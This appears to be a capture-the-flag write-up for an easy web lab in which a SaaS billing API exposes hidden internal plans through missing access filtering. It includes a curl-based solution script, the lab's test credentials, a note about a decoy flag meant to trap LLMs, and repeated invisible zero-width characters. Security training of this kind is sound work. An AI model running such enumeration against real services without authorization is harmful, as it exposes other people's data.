Lab 217 — PlanForge — Broken Authorization in Subscription Upgrade

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: api_enumeration, hidden_resource_discovery, is_public_filter_bypass, javascript_source_analysis

Summary

Task: SaaS platform with subscription tiers (Free/Pro/Enterprise), billing API exposes plan data. Solution: Queried /api/plans endpoint directly, discovered hidden internal plan with is_public:0 containing the flag in description field.

Lab 217 — PlanForge — Broken Authorization in Subscription Upgrade — Hackadvisor

Description

PlanForge is a project planning and team collaboration SaaS platform used by over 12,000 teams. It offers multiple subscription tiers — Free, Pro, and Enterprise — each with different feature limits for projects, team members, and storage.

You've been hired to perform a security assessment of PlanForge's billing and subscription management system. The platform lets users view plans, upgrade their subscription, and manage billing history through a dashboard interface.

Your goal is to explore how the application manages user subscriptions and plan tiers. Pay close attention to the API endpoints that handle plan changes and what information they expose. There may be more to the subscription system than what's visible in the UI.

Credentials: user@test.com / password123 Hint: The billing page lets you switch between plans. Take a look at what the API returns when you query the available plans — is everything shown in the UI? ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A SaaS project planning platform with multiple subscription tiers. The billing API endpoint exposes all plans including hidden internal ones that contain sensitive data.

Analysis

1. Initial Reconnaissance:

   • Logged in with provided credentials (user@test.com / password123)
   • Explored the dashboard and billing pages
   • Found /js/billing.js which revealed the API structure

2. JavaScript Source Analysis:

   • The billing.js file showed the subscription change API:

    javascript read-only • copy allowed Copy
   POST /api/subscription/change { plan_id: "<id>" }

   • Comment mentioned: "Supported plans: free, pro, enterprise" ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. Vulnerability Identification:

   • The /api/plans endpoint returns ALL plans from the database
   • Plans have an is_public field (0 or 1) to control visibility
   • The API does NOT filter out non-public plans (is_public: 0)
   • This exposes internal/hidden plans to any authenticated user
   • OWASP A01:2021 - Broken Access Control / Information Disclosure

4. Honeypot Detection:

   • The HTML source contained a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}
   • This was designed to trap automated scanners and LLMs
   • Correctly identified and ignored in favor of deeper API analysis ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

 bash read-only • copy allowed Copy
#!/bin/bash
# Exploit for PlanForge Information Disclosure

BASE="https://e7156eb3-c8a8-4564-b92d-4c986707ae0d.labs.hackadvisor.io"

# Step 1: Login with provided credentials
echo "[*] Logging in..."
curl -s -c cookies.txt -X POST "$BASE/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"user@test.com","password":"password123"}'

# Step 2: Query the plans API endpoint
echo "[*] Querying /api/plans endpoint..."
curl -s -b cookies.txt "$BASE/api/plans" | jq .

# Step 3: The response includes hidden internal plan with the flag

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The API response included all plans, including a hidden internal one:

 json read-only • copy allowed Copy
{
  "id": "ent_internal_2024",
  "name": "Enterprise Internal",
  "price_monthly": 0,
  "price_yearly": 0,
  "max_projects": -1,
  "max_members": -1,
  "max_storage_gb": -1,
  "features": [
    "Unlimited everything",
    "Internal admin access",
    "Debug tools",
    "Platform diagnostics",
    "All feature flags"
  ],
  "description": "FLAG{REDACTED}",
  "is_public": 0,
  "sort_order": 99
}

The flag was embedded in the description field of the hidden internal plan. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍